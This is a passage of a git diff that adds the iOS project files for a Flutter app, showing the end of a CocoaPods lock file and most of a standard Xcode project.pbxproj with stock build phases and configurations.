flutter_vpn_detector: cc4259dbc1ca1db6c5490a4edb29fcdf307b8be1 + OrderedSet: e539b66b644ff081c73a262d24ad552a69be3a94 + package_info_plus: af8e2ca6888548050f16fa2f1938db7b5a5df499 + shared_preferences_foundation: 7036424c3d8ec98dfe75ff1667cb0cd531ec82bb + url_launcher_ios: 7a95fa5b60cc718a708b8f2966718e93db0cef1b + +PODFILE CHECKSUM: 3c63482e143d1b91d2d2560aee9fb04ecc74ac7e + +COCOAPODS: 1.16.2 diff --git a/ios/Runner.xcodeproj/project.pbxproj b/ios/Runner.xcodeproj/project.pbxproj new file mode 100644 index 0000000..c5f0c15 --- /dev/null +++ b/ios/Runner.xcodeproj/project.pbxproj @@ -0,0 +1,745 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 54; + objects = { + +/* Begin PBXBuildFile section */ + 019F46C1404C494E46C7BDCF /* Pods_RunnerTests.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 7CEE170991DF939FAB632B68 /* Pods_RunnerTests.framework */; }; + 1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */ = {isa = PBXBuildFile; fileRef = 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */; }; + 20B8DCF92F43D9313B36C665 /* Pods_Runner.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3143A924A474A177527EAA8 /* Pods_Runner.framework */; }; + 331C808B294A63AB00263BE5 /* RunnerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 331C807B294A618700263BE5 /* RunnerTests.swift */; }; + 3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */ = {isa = PBXBuildFile; fileRef = 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */; }; + 74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 74858FAE1ED2DC5600515810 /* AppDelegate.swift */; }; + 7884E8682EC3CC0700C636F2 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */; }; + 97C146FC1CF9000F007C117D /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FA1CF9000F007C117D /* Main.storyboard */; }; + 97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FD1CF9000F007C117D /* Assets.xcassets */; }; + 97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */; }; +/* End PBXBuildFile section */ + +/* Begin PBXContainerItemProxy section */ + 331C8085294A63A400263BE5 /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 97C146E61CF9000F007C117D /* Project object */; + proxyType = 1; + remoteGlobalIDString = 97C146ED1CF9000F007C117D; + remoteInfo = Runner; + }; +/* End PBXContainerItemProxy section */ + +/* Begin PBXCopyFilesBuildPhase section */ + 9705A1C41CF9048500538489 /* Embed Frameworks */ = { + isa = PBXCopyFilesBuildPhase; + buildActionMask = 2147483647; + dstPath = ""; + dstSubfolderSpec = 10; + files = ( + ); + name = "Embed Frameworks"; + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXCopyFilesBuildPhase section */ + +/* Begin PBXFileReference section */ + 1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GeneratedPluginRegistrant.h; sourceTree = ""; }; + 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = GeneratedPluginRegistrant.m; sourceTree = ""; }; + 26EFB1D9BDA5409CB25AB46C /* Pods-Runner.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.debug.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig"; sourceTree = ""; }; + 30C403F2BC98516E1DC8B44D /* Pods-Runner.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.release.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig"; sourceTree = ""; }; + 331C807B294A618700263BE5 /* RunnerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RunnerTests.swift; sourceTree = ""; }; + 331C8081294A63A400263BE5 /* RunnerTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = RunnerTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; + 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; name = AppFrameworkInfo.plist; path = Flutter/AppFrameworkInfo.plist; sourceTree = ""; }; + 5DBF651E1407A4B38E39F305 /* Pods-RunnerTests.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.profile.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.profile.xcconfig"; sourceTree = ""; }; + 74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "Runner-Bridging-Header.h"; sourceTree = ""; }; + 74858FAE1ED2DC5600515810 /* AppDelegate.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = ""; }; + 7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = ""; }; + 7AFA3C8E1D35360C0083082E /* Release.xcconfig */ = {isa = PBXFileReference; lastKnownFileType = text.xcconfig; name = Release.xcconfig; path = Flutter/Release.xcconfig; sourceTree = ""; }; + 7CEE170991DF939FAB632B68 /* Pods_RunnerTests.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_RunnerTests.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + 8670AE4ABF1F0F8C3B13EC2C /* Pods-Runner.profile.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-Runner.profile.xcconfig"; path = "Target Support Files/Pods-Runner/Pods-Runner.profile.xcconfig"; sourceTree = ""; }; + 881F1F5FF5703458146ECC4E /* Pods-RunnerTests.release.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.release.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.release.xcconfig"; sourceTree = ""; }; + 9740EEB21CF90195004384FC /* Debug.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Debug.xcconfig; path = Flutter/Debug.xcconfig; sourceTree = ""; }; + 9740EEB31CF90195004384FC /* Generated.xcconfig */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.xcconfig; name = Generated.xcconfig; path = Flutter/Generated.xcconfig; sourceTree = ""; }; + 97C146EE1CF9000F007C117D /* Runner.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Runner.app; sourceTree = BUILT_PRODUCTS_DIR; }; + 97C146FB1CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; + 97C146FD1CF9000F007C117D /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; + 97C147001CF9000F007C117D /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; + 97C147021CF9000F007C117D /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + B3143A924A474A177527EAA8 /* Pods_Runner.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = Pods_Runner.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + DEDC418950A8C23FC2071532 /* Pods-RunnerTests.debug.xcconfig */ = {isa = PBXFileReference; includeInIndex = 1; lastKnownFileType = text.xcconfig; name = "Pods-RunnerTests.debug.xcconfig"; path = "Target Support Files/Pods-RunnerTests/Pods-RunnerTests.debug.xcconfig"; sourceTree = ""; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 32E415C2288B9FCFF29DFE57 /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 019F46C1404C494E46C7BDCF /* Pods_RunnerTests.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 97C146EB1CF9000F007C117D /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 20B8DCF92F43D9313B36C665 /* Pods_Runner.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 331C8082294A63A400263BE5 /* RunnerTests */ = { + isa = PBXGroup; + children = ( + 331C807B294A618700263BE5 /* RunnerTests.swift */, + ); + path = RunnerTests; + sourceTree = ""; + }; + 61E3332D74BB0FC767950F5A /* Pods */ = { + isa = PBXGroup; + children = ( + 26EFB1D9BDA5409CB25AB46C /* Pods-Runner.debug.xcconfig */, + 30C403F2BC98516E1DC8B44D /* Pods-Runner.release.xcconfig */, + 8670AE4ABF1F0F8C3B13EC2C /* Pods-Runner.profile.xcconfig */, + DEDC418950A8C23FC2071532 /* Pods-RunnerTests.debug.xcconfig */, + 881F1F5FF5703458146ECC4E /* Pods-RunnerTests.release.xcconfig */, + 5DBF651E1407A4B38E39F305 /* Pods-RunnerTests.profile.xcconfig */, + ); + path = Pods; + sourceTree = ""; + }; + 6D2A1B53DF16041FF84BD80A /* Frameworks */ = { + isa = PBXGroup; + children = ( + B3143A924A474A177527EAA8 /* Pods_Runner.framework */, + 7CEE170991DF939FAB632B68 /* Pods_RunnerTests.framework */, + ); + name = Frameworks; + sourceTree = ""; + }; + 9740EEB11CF90186004384FC /* Flutter */ = { + isa = PBXGroup; + children = ( + 3B3967151E833CAA004F5970 /* AppFrameworkInfo.plist */, + 9740EEB21CF90195004384FC /* Debug.xcconfig */, + 7AFA3C8E1D35360C0083082E /* Release.xcconfig */, + 9740EEB31CF90195004384FC /* Generated.xcconfig */, + ); + name = Flutter; + sourceTree = ""; + }; + 97C146E51CF9000F007C117D = { + isa = PBXGroup; + children = ( + 9740EEB11CF90186004384FC /* Flutter */, + 97C146F01CF9000F007C117D /* Runner */, + 97C146EF1CF9000F007C117D /* Products */, + 331C8082294A63A400263BE5 /* RunnerTests */, + 61E3332D74BB0FC767950F5A /* Pods */, + 6D2A1B53DF16041FF84BD80A /* Frameworks */, + ); + sourceTree = ""; + }; + 97C146EF1CF9000F007C117D /* Products */ = { + isa = PBXGroup; + children = ( + 97C146EE1CF9000F007C117D /* Runner.app */, + 331C8081294A63A400263BE5 /* RunnerTests.xctest */, + ); + name = Products; + sourceTree = ""; + }; + 97C146F01CF9000F007C117D /* Runner */ = { + isa = PBXGroup; + children = ( + 97C146FA1CF9000F007C117D /* Main.storyboard */, + 97C146FD1CF9000F007C117D /* Assets.xcassets */, + 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */, + 97C147021CF9000F007C117D /* Info.plist */, + 1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */, + 1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */, + 74858FAE1ED2DC5600515810 /* AppDelegate.swift */, + 7884E8672EC3CC0400C636F2 /* SceneDelegate.swift */, + 74858FAD1ED2DC5600515810 /* Runner-Bridging-Header.h */, + ); + path = Runner; + sourceTree = ""; + }; +/* End PBXGroup section */ + +/* Begin PBXNativeTarget section */ + 331C8080294A63A400263BE5 /* RunnerTests */ = { + isa = PBXNativeTarget; + buildConfigurationList = 331C8087294A63A400263BE5 /* Build configuration list for PBXNativeTarget "RunnerTests" */; + buildPhases = ( + C4C67920303E7F9EF74D1E13 /* [CP] Check Pods Manifest.lock */, + 331C807D294A63A400263BE5 /* Sources */, + 331C807F294A63A400263BE5 /* Resources */, + 32E415C2288B9FCFF29DFE57 /* Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + 331C8086294A63A400263BE5 /* PBXTargetDependency */, + ); + name = RunnerTests; + productName = RunnerTests; + productReference = 331C8081294A63A400263BE5 /* RunnerTests.xctest */; + productType = "com.apple.product-type.bundle.unit-test"; + }; + 97C146ED1CF9000F007C117D /* Runner */ = { + isa = PBXNativeTarget; + buildConfigurationList = 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget "Runner" */; + buildPhases = ( + F48BF43F35111334771F3E12 /* [CP] Check Pods Manifest.lock */, + 9740EEB61CF901F6004384FC /* Run Script */, + 97C146EA1CF9000F007C117D /* Sources */, + 97C146EB1CF9000F007C117D /* Frameworks */, + 97C146EC1CF9000F007C117D /* Resources */, + 9705A1C41CF9048500538489 /* Embed Frameworks */, + 3B06AD1E1E4923F5004D2608 /* Thin Binary */, + 54C9A7D2D4171276B0654033 /* [CP] Embed Pods Frameworks */, + ); + buildRules = ( + ); + dependencies = ( + ); + name = Runner; + productName = Runner; + productReference = 97C146EE1CF9000F007C117D /* Runner.app */; + productType = "com.apple.product-type.application"; + }; +/* End PBXNativeTarget section */ + +/* Begin PBXProject section */ + 97C146E61CF9000F007C117D /* Project object */ = { + isa = PBXProject; + attributes = { + BuildIndependentTargetsInParallel = YES; + LastUpgradeCheck = 1510; + ORGANIZATIONNAME = ""; + TargetAttributes = { + 331C8080294A63A400263BE5 = { + CreatedOnToolsVersion = 14.0; + TestTargetID = 97C146ED1CF9000F007C117D; + }; + 97C146ED1CF9000F007C117D = { + CreatedOnToolsVersion = 7.3.1; + LastSwiftMigration = 1100; + }; + }; + }; + buildConfigurationList = 97C146E91CF9000F007C117D /* Build configuration list for PBXProject "Runner" */; + compatibilityVersion = "Xcode 9.3"; + developmentRegion = en; + hasScannedForEncodings = 0; + knownRegions = ( + en, + Base, + ); + mainGroup = 97C146E51CF9000F007C117D; + productRefGroup = 97C146EF1CF9000F007C117D /* Products */; + projectDirPath = ""; + projectRoot = ""; + targets = ( + 97C146ED1CF9000F007C117D /* Runner */, + 331C8080294A63A400263BE5 /* RunnerTests */, + ); + }; +/* End PBXProject section */ + +/* Begin PBXResourcesBuildPhase section */ + 331C807F294A63A400263BE5 /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 97C146EC1CF9000F007C117D /* Resources */ = { + isa = PBXResourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */, + 3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */, + 97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */, + 97C146FC1CF9000F007C117D /* Main.storyboard in Resources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXResourcesBuildPhase section */ + +/* Begin PBXShellScriptBuildPhase section */ + 3B06AD1E1E4923F5004D2608 /* Thin Binary */ = { + isa = PBXShellScriptBuildPhase; + alwaysOutOfDate = 1; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + "${TARGET_BUILD_DIR}/${INFOPLIST_PATH}", + ); + name = "Thin Binary"; + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" embed_and_thin"; + }; + 54C9A7D2D4171276B0654033 /* [CP] Embed Pods Frameworks */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-input-files.xcfilelist", + ); + inputPaths = ( + ); + name = "[CP] Embed Pods Frameworks"; + outputFileListPaths = ( + "${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks-${CONFIGURATION}-output-files.xcfilelist", + ); + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\"\n"; + showEnvVarsInLog = 0; + }; + 9740EEB61CF901F6004384FC /* Run Script */ = { + isa = PBXShellScriptBuildPhase; + alwaysOutOfDate = 1; + buildActionMask = 2147483647; + files = ( + ); + inputPaths = ( + ); + name = "Run Script"; + outputPaths = ( + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "/bin/sh \"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\" build"; + }; + C4C67920303E7F9EF74D1E13 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-RunnerTests-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; + F48BF43F35111334771F3E12 /* [CP] Check Pods Manifest.lock */ = { + isa = PBXShellScriptBuildPhase; + buildActionMask = 2147483647; + files = ( + ); + inputFileListPaths = ( + ); + inputPaths = ( + "${PODS_PODFILE_DIR_PATH}/Podfile.lock", + "${PODS_ROOT}/Manifest.lock", + ); + name = "[CP] Check Pods Manifest.lock"; + outputFileListPaths = ( + ); + outputPaths = ( + "$(DERIVED_FILE_DIR)/Pods-Runner-checkManifestLockResult.txt", + ); + runOnlyForDeploymentPostprocessing = 0; + shellPath = /bin/sh; + shellScript = "diff \"${PODS_PODFILE_DIR_PATH}/Podfile.lock\" \"${PODS_ROOT}/Manifest.lock\" > /dev/null\nif [ $? != 0 ] ; then\n # print error to STDERR\n echo \"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\" >&2\n exit 1\nfi\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\necho \"SUCCESS\" > \"${SCRIPT_OUTPUT_FILE_0}\"\n"; + showEnvVarsInLog = 0; + }; +/* End PBXShellScriptBuildPhase section */ + +/* Begin PBXSourcesBuildPhase section */ + 331C807D294A63A400263BE5 /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 331C808B294A63AB00263BE5 /* RunnerTests.swift in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; + 97C146EA1CF9000F007C117D /* Sources */ = { + isa = PBXSourcesBuildPhase; + buildActionMask = 2147483647; + files = ( + 74858FAF1ED2DC5600515810 /* AppDelegate.swift in Sources */, + 1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */, + 7884E8682EC3CC0700C636F2 /* SceneDelegate.swift in Sources */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXSourcesBuildPhase section */ + +/* Begin PBXTargetDependency section */ + 331C8086294A63A400263BE5 /* PBXTargetDependency */ = { + isa = PBXTargetDependency; + target = 97C146ED1CF9000F007C117D /* Runner */; + targetProxy = 331C8085294A63A400263BE5 /* PBXContainerItemProxy */; + }; +/* End PBXTargetDependency section */ + +/* Begin PBXVariantGroup section */ + 97C146FA1CF9000F007C117D /* Main.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 97C146FB1CF9000F007C117D /* Base */, + ); + name = Main.storyboard; + sourceTree = ""; + }; + 97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */ = { + isa = PBXVariantGroup; + children = ( + 97C147001CF9000F007C117D /* Base */, + ); + name = LaunchScreen.storyboard; + sourceTree = ""; + }; +/* End PBXVariantGroup section */ + +/* Begin XCBuildConfiguration section */ + 249021D3217E4FDB00AE95B9 /* Profile */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; + ENABLE_NS_ASSERTIONS = NO; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_NO_COMMON_BLOCKS = YES; + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + MTL_ENABLE_DEBUG_INFO = NO; + SDKROOT = iphoneos; + SUPPORTED_PLATFORMS = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + VALIDATE_PRODUCT = YES; + }; + name = Profile; + }; + 249021D4217E4FDB00AE95B9 /* Profile */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */; + buildSettings = { + ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; + CLANG_ENABLE_MODULES = YES; + CODE_SIGN_STYLE = Manual; + CURRENT_PROJECT_VERSION = "$(FLUTTER_BUILD_NUMBER)"; + DEVELOPMENT_TEAM = ""; + ENABLE_BITCODE = NO; + INFOPLIST_FILE = Runner/Info.plist; + LD_RUNPATH_SEARCH_PATHS = ( + "$(inherited)", + "@executable_path/Frameworks", + ); + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay; + PRODUCT_NAME = "$(TARGET_NAME)"; + PROVISIONING_PROFILE_SPECIFIER = ""; + SWIFT_OBJC_BRIDGING_HEADER = "Runner/Runner-Bridging-Header.h"; + SWIFT_VERSION = 5.0; + VERSIONING_SYSTEM = "apple-generic"; + }; + name = Profile; + }; + 331C8088294A63A400263BE5 /* Debug */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = DEDC418950A8C23FC2071532 /* Pods-RunnerTests.debug.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; + SWIFT_OPTIMIZATION_LEVEL = "-Onone"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Runner.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/Runner"; + }; + name = Debug; + }; + 331C8089294A63A400263BE5 /* Release */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 881F1F5FF5703458146ECC4E /* Pods-RunnerTests.release.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Runner.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/Runner"; + }; + name = Release; + }; + 331C808A294A63A400263BE5 /* Profile */ = { + isa = XCBuildConfiguration; + baseConfigurationReference = 5DBF651E1407A4B38E39F305 /* Pods-RunnerTests.profile.xcconfig */; + buildSettings = { + BUNDLE_LOADER = "$(TEST_HOST)"; + CODE_SIGN_STYLE = Automatic; + CURRENT_PROJECT_VERSION = 1; + GENERATE_INFOPLIST_FILE = YES; + MARKETING_VERSION = 1.0; + PRODUCT_BUNDLE_IDENTIFIER = com.dragon.relay.RunnerTests; + PRODUCT_NAME = "$(TARGET_NAME)"; + SWIFT_VERSION = 5.0; + TEST_HOST = "$(BUILT_PRODUCTS_DIR)/Runner.app/$(BUNDLE_EXECUTABLE_FOLDER_PATH)/Runner"; + }; + name = Profile; + }; + 97C147031CF9000F007C117D /* Debug */ = { + isa = XCBuildConfiguration; + buildSettings = { + ALWAYS_SEARCH_USER_PATHS = NO; + ASSETCATALOG_COMPILER_GENERATE_SWIFT_ASSET_SYMBOL_EXTENSIONS = YES; + CLANG_ANALYZER_NONNULL = YES; + CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x"; + CLANG_CXX_LIBRARY = "libc++"; + CLANG_ENABLE_MODULES = YES; + CLANG_ENABLE_OBJC_ARC = YES; + CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; + CLANG_WARN_BOOL_CONVERSION = YES; + CLANG_WARN_COMMA = YES; + CLANG_WARN_CONSTANT_CONVERSION = YES; + CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; + CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; + CLANG_WARN_EMPTY_BODY = YES; + CLANG_WARN_ENUM_CONVERSION = YES; + CLANG_WARN_INFINITE_RECURSION = YES; + CLANG_WARN_INT_CONVERSION = YES; + CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; + CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; + CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; + CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; + CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; + CLANG_WARN_STRICT_PROTOTYPES = YES; + CLANG_WARN_SUSPICIOUS_MOVE = YES; + CLANG_WARN_UNREACHABLE_CODE = YES; + CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; + "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; + COPY_PHASE_STRIP = NO; + DEBUG_INFORMATION_FORMAT = dwarf; + ENABLE_STRICT_OBJC_MSGSEND = YES; + ENABLE_TESTABILITY = YES; + ENABLE_USER_SCRIPT_SANDBOXING = NO; + GCC_C_LANGUAGE_STANDARD = gnu99; + GCC_DYNAMIC_NO_PIC = NO; + GCC_NO_COMMON_BLOCKS = YES; + GCC_OPTIMIZATION_LEVEL = 0; + GCC_PREPROCESSOR_DEFINITIONS = ( + "DEBUG=1", + "$(inherited)", + ); + GCC_WARN_64_TO_32_BIT_CONVERSION = YES; + GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; + GCC_WARN_UNDECLARED_SELECTOR = YES; + GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; + GCC_WARN_UNUSED_FUNCTION = YES; + GCC_WARN_UNUSED_VARIABLE = YES; + IPHONEOS_DEPLOYMENT_TARGET = 13.0; + MTL_ENABLE_DEBUG_INFO = YES; + ONLY_ACTIVE_ARCH = YES; + SDKROOT = iphoneos; + TARGETED_DEVICE_FAMILY = "1,2"; + }; + name = Debug; + }; + 